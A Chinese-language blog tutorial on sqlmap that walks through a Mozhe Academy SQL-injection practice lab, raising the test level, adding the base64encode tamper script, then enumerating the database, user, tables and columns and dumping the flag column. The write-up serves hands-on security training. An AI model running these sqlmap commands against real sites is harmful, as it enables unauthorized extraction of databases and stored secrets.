Sqlmap使用入门

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft  SQL  Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

这是墨者学院一个SQL注入漏洞靶场:http://219.153.49.228:49835/show.php?id=MQo=     【目的是寻找flag】

【想练习的可以去墨者学院-->在线靶场-->web安全-->sql注入-->sql注入实战-MySQL】 不启动靶场进不去这个链接

进入网站提示的信息如下图所示:

从这个网页提示信息我们也可以窥视出一些东西:

  • 它使用的数据库类型是Mysql
  • key的值就存储于变量里面(很可能key值就是我们苦苦寻找的flag,那肯定是存储在数据库里面的)
  1. 先对其进行手工注入:你们懂得就是 在URL后面分别添加AND 1=1 和 AND 1=2,看两次返回结果是不是一样,不一样说明存在注入漏洞。不知道为啥我的两次返回界面都是空白的。
  2. 鉴于这种类型的URL存在注入可能性很大,那必然得用sqlmap跑一跑呐,不放过任何机会。
  • 测试注入:sqlmap  -u http://219.153.49.228:49835/show.php?id=MQo=

结果如下:

sqlmap返回信息显示:参数 id 可能不存在注入,可以尝试增加尝试等级(level),或者增加执行测试的风险(risk)。如果你觉得存在某种保护机制,可以使用tamper篡改注入数据。

  • 根据上面提示信息我们增加level和tamper:sqlmap  -u http://219.153.49.228:49835/show.php?id=MQo= --level=3 --tamper=base64encode

接下来就是常规拖库操作了:

  • 先查一下数据库名:sqlmap  -u http://219.153.49.228:49835/show.php?id=MQo= --level=3 --tamper=base64encode --current-db 

  【显示数据库名是test】

  • 在查一下当前用户:sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 --current-user  

  【显示当前用户是admin(权限等级挺高,有戏)】

  • 查一下数据库test中有哪些表:sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 -D test --tables    

  【结果只有一个表:data】

  • 查一下data表中有几列:sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 -D test -T data --columns    

  【结果显示有4列】

  • 从上表中我们可以很清楚就看到thekey所在列的值就是我们苦苦追寻的flag,所以最后一步就是查询thekey的值:

  sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 -D test --tables -C thekey --dump

到此我们成功获取flag。

博主

Bu8ug与CTF爱才网的运营之一

相关推荐

嗨、骚年、快来消灭0回复。